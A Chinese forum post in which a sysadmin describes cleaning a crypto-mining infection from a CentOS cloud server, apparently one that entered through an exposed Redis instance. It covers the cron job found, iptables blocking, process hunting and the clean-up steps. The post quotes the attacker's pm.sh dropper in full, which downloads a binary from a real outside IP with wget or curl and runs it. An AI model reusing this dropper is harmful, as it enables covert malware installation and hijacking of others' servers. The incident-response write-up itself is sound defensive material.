设为首页 收藏本站
查看: 3412|回复: 0

[经验分享] 阿里云centos服务器cpu使用率100%和redis漏洞问题

[复制链接]

尚未签到

发表于 2018-11-4 12:25:47 | 显示全部楼层 |阅读模式
  2016-10-27
  开发服务器病毒的一次解决
  一:发现问题
  早上9点左右,短信告警cpu使用达到100%,ssh连接不上,重启服务器,并没有解决cpu满载的情况,但可以用ssh连上了。
DSC0000.png

  二:解决办法

  •   遇到这种突然的cpu飙升,且用top命令看不到(shift+P)占用cpu特别大的进程,初步怀疑服务器中病毒了并且有可能执行着计划任务
DSC0001.jpg


  •   查看计划任务
DSC0002.png


  •   果然,计划任务显示,它在每分钟执行一个远程名为pm.sh脚本,经查,该ip地址为韩国
  •   获取该脚本,内容如下:
  ===========================================================
  PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
  machine=`uname -m`
  #echo $machine

  cs5="CentOS>
  cs6="CentOS>
  cs7="CentOS Linux>  ub="Ubuntu"
  de="Debian"
  downFile(){
  cd /var/lib
  if [ -x"/usr/bin/wget"  -o  -x "/bin/wget" ]; then
  wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
  elif [ -x"/usr/bin/curl"  -o  -x "/bin/curl" ]; then
  curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
  fi
  }
  if [ $machine = "x86_64" ]; then
  if [ -f "/etc/issue" ];then
  version=`cat /etc/issue`
  if [[ $version == $cs5* ]];then
  downFile 5
  elif [[ $version == $cs6*]]; then
  downFile 6
  elif [[ $version == $cs7*]]; then
  downFile 7
  elif [[ $version == $ub* ]];then
  downFile ub
  elif [[ $version == $de* ]];then
  downFile ub
  else
  if [ -f"/etc/redhat-release" ]; then

  >  if [[$release == $cs5* ]]; then
  downFile 5
  elif [[$release == $cs6* ]]; then
  downFile 6
  elif [[$release == $cs7* ]]; then
  downFile 7
  fi
  fi
  fi
  fi
  fi
  =================================================================

  •   由该脚本可以看出,这个计划任务的pm.sh脚本会根据系统版本,生成本地/var/lib/pm文件,并给予该文件以可执行权限。
  •   下面,首先防火墙阻断该ip连接:
  •   iptables -A INPUT -s 101.55.126.66 -j DROP
  •   iptables -A OUTPUT -s 101.55.126.66 -j DROP
  •   由上述可知,用top已经看不到系统真实的cpu使用信息,考虑使用top加强版htop,由于,我们的服务器没有安装htop工具,所以使用了如下命令查看真实的cpu使用信息
  •   ps aux --sort=-%cpu | awk 'NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print$2,$3,$11}'
  •   结果如下:
DSC0003.png


  •   可以看出两个tplink命令的进程已经使用了系统367%的cpu!,这里我选择删除上述的/var/lib/pm文件和/usr/sbin/tplink文件,并且注意这个tplink进程使用pkill是杀不死的。
  三:后续问题
  虽然cpu问题就此解决,但是其中还是走了很多弯路了,网上所说的挖矿病毒和本案例有很多相似之处,但并不完全相同。另外在也在怀疑到底这个计划任务或者说病毒是怎么传播的本服务器上面来的使用last,history,及查看系统安全日志,并没有发现蛛丝马迹。按照网络上案例,并且由计划任务的名称,可以大致确定病毒的传播应该是由redis的漏洞传播的(参考:http://blog.jobbole.com/94518/连接中有解决方法。)。并且查看了一下本服务器的redis日志,可以看到redis启动还是有warning的,如下
  ====================================================================
  1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t
  o the lower value of 128.
  1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7
  1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this
  issue add 'vm.overcommit_memory =1' to /etc/sysctl.conf and then reboot or run the command 'sysctlvm.overcommit_memory=1' for this
  to take effect.
  1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a
  nd memory usage issues withRedis. To fix this issue run the command 'echo never >/sys/kernel/mm/transparent_hugepage/enabled' as ro
  ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.
  =====================================================================
  从日志看出,redis还是有问题的存在的,并且日志信息也给出了解决的办法,按解决办法操作即可。
  好景不长啊,今天(2016-10-31),和网上类似的挖矿病毒又来了,这次化身成minerd并且top可看,下载远程脚本,删除可执行文件和计划任务,删除.ssh/下的认证文件,禁止redis远程登录:
  useradd -s /sbin/nologin -d /usr/local/redis redis
  发现 redis/bin/下面多了一些白色的文件,不知道是什么东西,是不是应该删除?
DSC0004.png

  目前是真不知道下次挖矿病毒什么时候再来。。。
  last没有其他登录,***到底是怎么修改计划任务的?
  ==========================================================================
  11-1:原来是删除了可执行文件,并没有删除pid,知道是redis漏洞其实一开始可以
  执行如下命令:
  lsof -i:6379
  ps aux|grep ntp
  kill -9 pid
  完了之后,也看不到***程序ntp使用6379端口了,问题应该是解决了
  ===========================================================================
  各位网络大神有没有什么可行的方法,或者知道***原理的,欢迎大家留言!
  ===========================================================================


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-630653-1-1.html 上篇帖子: redis 在linux 安装 下篇帖子: Redis主从复制的HA部署
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表